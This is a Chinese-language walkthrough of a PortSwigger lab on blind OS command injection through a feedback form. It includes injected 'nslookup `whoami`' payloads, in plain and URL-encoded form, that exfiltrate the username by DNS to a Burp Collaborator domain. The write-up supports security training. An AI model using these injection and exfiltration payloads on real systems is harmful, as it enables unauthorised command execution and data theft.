从业者-OS命令盲注-带外数据泄露
# 实验室:带外数据泄露的OS命令盲注
# 题目
本实验室的 反馈功能 中存在操作系统命令盲注漏洞。
应用程序执行 包含用户提供的详细信息的 shell 命令。该命令异步执行,对应用程序的响应没有影响。无法将输出 重定向到可以访问的位置。但是,你可以触发与外部域的带外交互。
若要解决实验室问题,请执行whoami
命令,并通过 DNS 查询将输出外泄到 Burp Collaborator 。你需要输入当前用户的名称才能完成本实验。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室和任意外部系统之间的交互。要解决实验室问题,必须使用 Burp Collaborator 的默认公共服务器。
- name: 实验室-从业者
desc: 带外数据泄露的OS命令盲注 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/os-command-injection/lab-blind-out-of-band-data-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 实操
根据题意,可得实验目标:
- 在 反馈功能 中,尝试利用 OS命令盲注漏洞,并触发与外部域的带外交互。
- 通过触发带外交互,将
whoami
命令执行的输出外泄到 Burp Collaborator 。 - 在网站中输入当前用户的名称,以完成实验。
点击 “Access the lab” 进入实验室。

实验室首页如下,在右上角可以看到一个 “Submit feedback” ,点击它进入反馈页面。

反馈页面如下,填写相应信息,启用浏览器代理 并提交反馈。

查看 BurpSuite 数据包情况。

切换至 “Collaborator” 选项卡,点击 “Get started” 启用功能。

启用功能后,点击 “Copy to clipboard” 获取一个域,它会自动复制到你的剪贴板当中。

构建注入的命令,通过nslookup
命令来触发 对该域的 DNS 查找,对命令进行 URL 编码。
# 编码前
& nslookup 4lqequl00u8ofrjr54mfjc4mgdm4auyj.oastify.com &
# 编码后
%26%20%6e%73%6c%6f%6f%6b%75%70%20%34%6c%71%65%71%75%6c%30%30%75%38%6f%66%72%6a%72%35%34%6d%66%6a%63%34%6d%67%64%6d%34%61%75%79%6a%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%20%26
2
3
4
5

将命令注入email
参数当中,应用程序并未返回任何错误信息,因为它是 异步执行 的。

回到 “Collaborator” 选项卡,可以看到 DNS 查询记录,说明注入的命令成功执行,并造成了带外交互。
(如果没有显示记录,则点击 “Poll now” 立即刷新。如果刷新之后还是没有记录,则检查前面的步骤是否有误)

在确认漏洞点之后,修改注入语句,通过双反引号``
内联执行whoami
命令,并将其输出 拼接到外部域当中。
# 编码前
& nslookup `whoami`.4lqequl00u8ofrjr54mfjc4mgdm4auyj.oastify.com &
# 编码后
%26%20%6e%73%6c%6f%6f%6b%75%70%20%60%77%68%6f%61%6d%69%60%2e%34%6c%71%65%71%75%6c%30%30%75%38%6f%66%72%6a%72%35%34%6d%66%6a%63%34%6d%67%64%6d%34%61%75%79%6a%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%20%26
2
3
4
5
将修改过后的命令注入email
参数当中。

切换到 “Collaborator” 选项卡,下方多出了两条记录,查看记录,成功外泄whoami
命令的输出,获得用户名peter-3KtLdg
。

回到浏览器页面,点击网页上方的 “Submit solution” 。

点击按钮之后,会弹出一个提示框。输入刚刚获得的用户名,然后点击 “确定” 。

提交正确的用户名之后,实验完成。
